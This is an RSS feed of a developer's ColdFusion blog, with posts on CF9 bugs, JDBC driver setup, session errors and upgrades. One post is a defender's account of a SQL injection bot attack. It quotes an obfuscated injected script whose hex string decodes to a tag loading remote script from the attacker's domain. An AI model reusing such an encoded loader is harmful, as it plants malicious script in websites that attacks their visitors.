<?xml version="1.0" encoding="utf-8"?>

			<rss version="2.0" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:cc="http://web.resource.org/cc/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd">

			<channel>
			<title>Experimental Playground - ColdFusion</title>
			<link>http://www.experimental-playground.com/index.cfm</link>
			<description></description>
			<language>en-us</language>
			<pubDate>Tue, 07 Sep 2010 01:51:30 -0400</pubDate>
			<lastBuildDate>Tue, 03 Aug 2010 18:10:00 -0400</lastBuildDate>
			<generator>BlogCFC</generator>
			<docs>http://blogs.law.harvard.edu/tech/rss</docs>
			<managingEditor>admin@experimental-playground.com</managingEditor>
			<webMaster>admin@experimental-playground.com</webMaster>
			<itunes:subtitle></itunes:subtitle>
			<itunes:summary></itunes:summary>
			<itunes:category text="Technology" />
			<itunes:category text="Technology">
				<itunes:category text="Podcasting" />
			</itunes:category>
			<itunes:category text="Technology">
				<itunes:category text="Tech News" />
			</itunes:category>
			<itunes:keywords></itunes:keywords>
			<itunes:author></itunes:author>
			<itunes:owner>
				<itunes:email>admin@experimental-playground.com</itunes:email>
				<itunes:name></itunes:name>
			</itunes:owner>
			
			<itunes:explicit>no</itunes:explicit>
			
			<item>
				<title>ColdFusion 9.01 Yeah Baby!</title>
				<link>http://www.experimental-playground.com/index.cfm/2010/8/3/ColdFusion-901-Yeah-Baby</link>
				<description>
				
				This had to be the smoothest upgrade yet. Total outage was less than 2 minutes and we&apos;re running 9.01. Bring on the clouds! 
				</description>
				
				<category>ColdFusion</category>
				
				<pubDate>Tue, 03 Aug 2010 18:10:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2010/8/3/ColdFusion-901-Yeah-Baby</guid>
				
				
			</item>
			
			<item>
				<title>Coldfusion 9 and Empty result set queries - Part 2</title>
				<link>http://www.experimental-playground.com/index.cfm/2010/7/1/Coldfusion-9-and-Empty-result-set-queries--Part-2</link>
				<description>
				
				Progress!

I must say I&apos;m a bit perturbed by what I found in researching this problem. I also need to make a clarification in my test code, I over simplified the simple query. If you were to run that query, after setting up the table, you would find that it does indeed work and you&apos;d be saying &quot;that guy&apos;s crazy, it works fine!&quot; The problem comes in when records are eliminated due to aggregation, GROUP BY and such. 

The following two links will be of help.

Adobe forum where it&apos;s being discussed:&lt;br /&gt;
&lt;a href=&quot;http://forums.adobe.com/message/2631903&quot;&gt;http://forums.adobe.com/message/2631903&lt;/a&gt; 

More importantly, the bug tracker entry.&lt;br /&gt;
&lt;a href=&quot;http://cfbugs.adobe.com/cfbugreport/flexbugui/cfbugtracker/main.html#bugId=80384&quot;&gt;http://cfbugs.adobe.com/cfbugreport/flexbugui/cfbugtracker/main.html#bugId=80384&lt;/a&gt;

Notice how they list this as a BENIGN problem and that there is a work around. Benign my ass! I urge everyone to go to the bug tracker and VOTE for this to be fixed.

So, for the work around? One acceptable temporary (IMO) solution is to set up a JDBC DSN to connect to your SQL Server database. In my case I needed a 2008 JDBC driver.

This brings me to another sore point with information on the internet. Far too often I&apos;ve seen &quot;helpful&quot; people post solutions to problems only to gloss over 90% of the information used to FIX it. Not everyone is born with the knowledge to construct a JDBC connection string, or the ability to pull a driver class out of their ass. So here&apos;s my contribution to the half-assed help pile.

This will help those using &lt;strong&gt;Coldfusion 9.0&lt;/strong&gt;

&lt;strong&gt;Microsoft JDBC 2.0 and 3.0 driver links.&lt;/strong&gt;

MS JDBC 3.0 &lt;a href=&quot;http://www.microsoft.com/downloads/details.aspx?FamilyID=%20a737000d-68d0-4531-b65d-da0f2a735707&amp;displaylang=en#filelist&quot;&gt;http://www.microsoft.com/downloads/details.aspx?FamilyID=%20a737000d-68d0-4531-b65d-da0f2a735707&amp;displaylang=en#filelist&lt;/a&gt;
&lt;br /&gt;
MS JDBC 2.0 &lt;a href=&quot;http://www.microsoft.com/downloads/en/confirmation.aspx?familyId=99b21b65-e98f-4a61-b811-19912601fdc9&amp;displayLang=en&quot;&gt;http://www.microsoft.com/downloads/en/confirmation.aspx?familyId=99b21b65-e98f-4a61-b811-19912601fdc9&amp;displayLang=en&lt;/a&gt;
&lt;br /&gt;


&lt;ol&gt;
&lt;li&gt;Download one of those two, which ever you want. I&apos;m using 3.0&lt;/li&gt;
&lt;li&gt;Extract to a directory, any will do we&apos;re going to move the files when we&apos;re done anyway&lt;/li&gt;
&lt;li&gt;Now, if you&apos;re using 3.0 you will find, buried in the directory structure that just extracted, two files
&lt;ul&gt;&lt;li&gt;sqljdbc.jar&lt;/li&gt;&lt;li&gt;sqljdbc4.jar&lt;/li&gt;&lt;/ul&gt;
Only use ONE of these, for CF 9 you will want to use &lt;strong&gt;sqljdbc4.jar&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Copy the &lt;strong&gt;sqljdbc4.jar&lt;/strong&gt; to
&lt;ul&gt;&lt;li&gt;cf_root/cfusion/lib (server configuration)&lt;/li&gt;
&lt;li&gt;cf_webapp_root/WEB-INF/cfusion/lib (multiserver or J2EE configuration).&lt;/li&gt;
&lt;/ul&gt;
I&apos;m using Multiserver for this example so I put it in &lt;ul&gt;&lt;li&gt;
&quot;Z:\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\&quot;&lt;/li&gt;&lt;/ul&gt;
&lt;li&gt;RESTART COLDFUSION&lt;/li&gt;
&lt;/ol&gt;

Now, you will need to log in to the CF Administrator and create a new datasource. 
&lt;ol&gt;
&lt;li&gt;Give it a name,&lt;/li&gt;
&lt;li&gt;and then select &quot;OTHER&quot; from the drop down list&lt;/li&gt;
&lt;li&gt;and click ADD&lt;/li&gt;
&lt;li&gt;Now for a JDBC URL, if you&apos;re super leet you don&apos;t need me to tell you, but for those &quot;lamers&quot; out there here&apos;s the JDBC URL that should get you by.&lt;br /&gt;
jdbc:sqlserver://server name;databaseName=database name&lt;br /&gt;
If you happen to be running multiple instances of SQL Server or are on a different port then this should work for you&lt;br /&gt;
jdbc:sqlserver://server name/instance name:port number;databaseName=database name
&lt;/li&gt;
&lt;li&gt;Driver Class will be &lt;br /&gt;
com.microsoft.sqlserver.jdbc.SQLServerDriver&lt;/li&gt;
&lt;li&gt;Driver Name (you can name it whatever you want) SQL Server 2008 JDBC&lt;/li&gt;
&lt;li&gt;Username: database user name&lt;/li&gt;
&lt;li&gt;Password: database user password&lt;/li&gt;
&lt;/ol&gt;


The driver works great so far. If I run into any idiosyncrasies I&apos;ll post about it! 
				</description>
				
				<category>SQL</category>
				
				<category>ColdFusion</category>
				
				<pubDate>Thu, 01 Jul 2010 16:20:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2010/7/1/Coldfusion-9-and-Empty-result-set-queries--Part-2</guid>
				
				
			</item>
			
			<item>
				<title>Coldfusion 9 and Empty result set queries</title>
				<link>http://www.experimental-playground.com/index.cfm/2010/6/30/Coldfusion-9-and-Empty-result-set-queries</link>
				<description>
				
				I&apos;ve run into an interesting problem on one of our CF 9 servers. Here&apos;s the skinny, there&apos;s some code that looks like

&lt;code&gt;
&lt;cfquery name=&quot;qryInfo&quot; datasource=&quot;myDB&quot;&gt;
    SELECT name
    FROM actors
    WHERE id = &lt;cfqueryparam value=&quot;#arguments.actorID#&quot; cfsqltype=&quot;cf_sql_integer&quot; /&gt;
&lt;/cfquery&gt;

&lt;cfif qryInfo.recordCount&gt;

&lt;!--- do something here ---&gt;

...

...

&lt;/cfif&gt;

&lt;/code&gt;

Now this is obviously a much more simplified (not to mention completely different data/tables/etc from what the real system is doing) this is just an example. 

This code works as you would expect, the query executes and returns some data, the IF block does its thing and all is well, right? Unless the query doesn&apos;t return anything. Now in past versions of CF this has never been a problem, an empty query object is returned and again, all is well. 

The problem I&apos;ve encountered on one of our CF 9 servers is this: If the query returns nothing, the IF block fails stating that recordcount is undefined in qryInfo. If I dump qryInfo, the same error: &quot;qryInfo is undefined&quot; 

I created some test code and placed it on another CF 9 server in the center and it works as expected, no error, just an empty query object. How bizarre I say! The only difference I&apos;ve been able to see is that one box (the one that flips out) is 64 bit, and the other (the one that plays nice) is 32 bit.


This warrants further testing and investigation. I&apos;ll keep you posted.

&lt;strong&gt;UPDATE:&lt;/strong&gt;
&lt;br /&gt;
Tested on another CF 9 x64 server and it works just fine. Maybe the install is borked? 
				</description>
				
				<category>SQL</category>
				
				<category>ColdFusion</category>
				
				<pubDate>Wed, 30 Jun 2010 18:51:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2010/6/30/Coldfusion-9-and-Empty-result-set-queries</guid>
				
				
			</item>
			
			<item>
				<title>portal.acras.in - garbage sucking lame ass bitches</title>
				<link>http://www.experimental-playground.com/index.cfm/2010/2/1/portalacrasin--garbage-sucking-lame-ass-bitches</link>
				<description>
				
				Today was...invigorating... to say the least at my day job. We maintain a rather large code base for a client of ours that contained some older code in its deepest darkest nether-regions that allowed for some SQL injection to take place. Although I know I was likely fighting against some junk ass bot, it felt like my opponent was flesh and blood. 

Here&apos;s how it went down:

BOT: Injects silly script tag  &lt;code&gt;&lt;script&gt;my lame ass portal full of shit&lt;/script&gt;&lt;/code&gt; &lt;br /&gt;
or...&lt;code&gt;&lt;script&gt;
 var news=&quot;b20b3cb73b63b72b69b70b74b20b73b72b63b3db22b68b74b74b70b3ab2fb2fb70b6fb72b74b61b6cb2eb61b63b72b61b73b2eb69b6eb2fb6db6cb2eb70b68b70b22b3eb3cb2fb73b63b72b69b70b74b3e&quot;;
 docs = news.replace(/b/g,&apos;%&apos;);
document.write(that var named docs that I&apos;m not actually going to put in here...);
 &lt;/script&gt;
&lt;/code&gt;&lt;br /&gt;
ME: finds no trace in CF error logs and sets up a kill script in SQL to remove junk, continues to look for the entry point.&lt;br /&gt;
BOT: Injects more crap. This time changing the script&apos;s contents.&lt;br /&gt;
ME: creates a trigger on the targeted table to remove on update/insert - suck a fat one. continues to look for entry point.&lt;br /&gt;
BOT: ...&lt;br /&gt;
BOT: ...&lt;br /&gt;
BOT: ...&lt;br /&gt;
BOT: modifies script tags just enough to bypass trigger checks.&lt;br /&gt;
ME: hm, how clever you piece of junk.&lt;br /&gt;
ME: locks down the site&apos;s datasource to read only and proceeds to setup read and read/write dsns, some regex find and replace goodness and...once again...suck it!&lt;br /&gt;

I do enjoy a good duel from time to time, but not when I&apos;ve got shit to do. So, whoever you are &quot;portal.acras.in&quot; nice try, but not good enough. DIAF KKTHXBYE.&lt;br /&gt; 
				</description>
				
				<category>SQL</category>
				
				<category>ColdFusion</category>
				
				<pubDate>Mon, 01 Feb 2010 21:29:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2010/2/1/portalacrasin--garbage-sucking-lame-ass-bitches</guid>
				
				
			</item>
			
			<item>
				<title>Site Migrated...</title>
				<link>http://www.experimental-playground.com/index.cfm/2009/10/10/Site-Migrated</link>
				<description>
				
				Accidentally ahead of schedule...What I mean is, yeah...I meant to do that. Now to get rid of that ugly orange theme.

and...what gives with the links not working! grrr

oh, and Lyla too...damn you!

why can&apos;t things just work when you want them to? 
				</description>
				
				<category>Randomness</category>
				
				<category>ColdFusion</category>
				
				<pubDate>Sat, 10 Oct 2009 02:20:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2009/10/10/Site-Migrated</guid>
				
				
			</item>
			
			<item>
				<title>Coldfusion j2eeSessionScopeStub cannot cast...</title>
				<link>http://www.experimental-playground.com/index.cfm/2009/9/30/coldfusion-j2eesessionscopestub-cannot-cast</link>
				<description>
				
				While working on a customer solution, we ran into an interesting error.

&lt;code&gt;
Error casting an object of type coldfusion.runtime.J2eeSessionScopeStub cannot be cast to coldfusion.runtime.J2eeSessionScopeStub to an incompatible type. This usually indicates a programming error in Java, although it could also mean you have tried to use a foreign object in a different way than it was designed. 
coldfusion.runtime.J2eeSessionScopeStub cannot be cast to coldfusion.runtime.J2eeSessionScopeStub 
&lt;/code&gt;

This problem occurred on a load balanced server pair running Coldfusion 8.01 with Cumulative Hotfix 3. Each server is running a separate instance which is then clustered. From what I&apos;ve been able to gather from others in the community is that uninstalling the hot fix alleviates the problem, however in this case the hotfix is &lt;strong&gt;required&lt;/strong&gt; for the successful operation of the customer&apos;s site. Luckily, the site did not need the session scope and I shut off J2EE sessions as well as session replication.

I eagerly await a fix from Adobe on this, if there&apos;s anyone else in the community that has run across this problem and have successfully mitigated it, I invite you to share your solutions.



				</description>
				
				<category>Randomness</category>
				
				<category>ColdFusion</category>
				
				<pubDate>Wed, 30 Sep 2009 02:00:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2009/9/30/coldfusion-j2eesessionscopestub-cannot-cast</guid>
				
				
			</item>
			
			<item>
				<title>Whacky server restarts...Coldfusion XML</title>
				<link>http://www.experimental-playground.com/index.cfm/2009/7/28/whacky-server-restarts-coldfusion-xml</link>
				<description>
				
				So I&apos;ve been working on a project for the past couple of days that involves fetching XML from a remote source and parsing it, then throwing it into a SQL Server database. Easy enough right?...wrong!

Every few iterations of the processing loop causes the server to do a reboot. I at first thought it might have something to do with Coldfusion 8&apos;s XML parsing, however after setting up a virtual environment, I have narrowed it down to SQL Server. The server in question is running SQL Server 2005 SP3 64bit.

The plot thickens... 
				</description>
				
				<category>SQL</category>
				
				<category>ColdFusion</category>
				
				<pubDate>Tue, 28 Jul 2009 02:00:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2009/7/28/whacky-server-restarts-coldfusion-xml</guid>
				
				
			</item>
			
			<item>
				<title>CF Administrator hax</title>
				<link>http://www.experimental-playground.com/index.cfm/2008/9/8/84</link>
				<description>
				
				&lt;em&gt;&quot;Now if I could just get around using coldfusion.server.ServiceFactory for the pesky web service refresh... (CF7)&quot;&lt;/em&gt;

Solved that problem too!
&lt;blockquote&gt;
&lt;pre&gt;cfset objAdmin = createObject(&quot;component&quot;, &quot;cfide.adminapi.administrator&quot;).login(&quot;CF Admin Password&quot;)
cfset webService = createObject(&quot;component&quot;, &quot;cfide.adminapi.extensions&quot;)

cfset webService.reloadWebService(name = &quot;Web Service URL&quot;, path = &quot;Web Service Url&quot;)&lt;/pre&gt;
&lt;/blockquote&gt; 
				</description>
				
				<category>ColdFusion</category>
				
				<pubDate>Mon, 08 Sep 2008 02:00:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2008/9/8/84</guid>
				
				
			</item>
			
			<item>
				<title>The Hydra...ooh...ahh</title>
				<link>http://www.experimental-playground.com/index.cfm/2008/9/3/the-hydra-ooh-ahh</link>
				<description>
				
				Woo!

The project codenamed &quot;cf_Hydra&quot; is now in a rough working state thanks to a lot of time spent...uhm...how should I say, &quot;researching&quot;, yeah that will do, researching something I discussed with a couple Adobe developers at CFUnited this year (you know who you are).

That thing we talked about that I said I wouldn&apos;t post if I found it, well, I found it, and I won&apos;t publish it. Which makes releasing my little project a bit difficult but I&apos;m sure I&apos;ll figure something out ;)

Now if I could just get around using coldfusion.server.ServiceFactory for the pesky web service refresh... (CF7) 
				</description>
				
				<category>ColdFusion</category>
				
				<pubDate>Wed, 03 Sep 2008 02:00:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2008/9/3/the-hydra-ooh-ahh</guid>
				
				
			</item>
			
			<item>
				<title>CERTIFIABLE! MUAHAHA</title>
				<link>http://www.experimental-playground.com/index.cfm/2008/4/14/certifiable-muahaha</link>
				<description>
				
				Well, the world now has one more Certified ColdFusion Developer, woo! glad that&apos;s over with now I can focus on other pet projects. Speaking of projects, I&apos;m in the middle of setting up a web server in order to migrate this site (and all my other sites) to CF. How will this impact you the user? not much at all, except for the short downtime (which will be announced before it happens) which will cause the Character Workshop&apos;s auto patcher not to check for updates, you shouldn&apos;t experience any erratic program behavior.

That&apos;s all for now! &amp;gt;po0f&amp;lt; 
				</description>
				
				<category>ColdFusion</category>
				
				<pubDate>Mon, 14 Apr 2008 02:00:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2008/4/14/certifiable-muahaha</guid>
				
				
			</item>
			
			<item>
				<title>Report Builder Woes</title>
				<link>http://www.experimental-playground.com/index.cfm/2007/3/23/report-builder-woes</link>
				<description>
				
				CF Report Builder, oh how I hate you...

never in my life have I used a more broken piece of software that everyone else seems to hail as godly. Mind you I&apos;ve been developing software using visual suites for nearly ten years now, so it&apos;s not the GUI that&apos;s got me. I&apos;ve written in more archaiac programing languages than I care to recall, so it&apos;s not that either.

From your laggy GUI to the moronic ways you auto generate SQL statements, oh CF Report Builder you are currently the new bane of my existence. 
				</description>
				
				<category>ColdFusion</category>
				
				<pubDate>Fri, 23 Mar 2007 02:00:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2007/3/23/report-builder-woes</guid>
				
				
			</item>
			</channel></rss>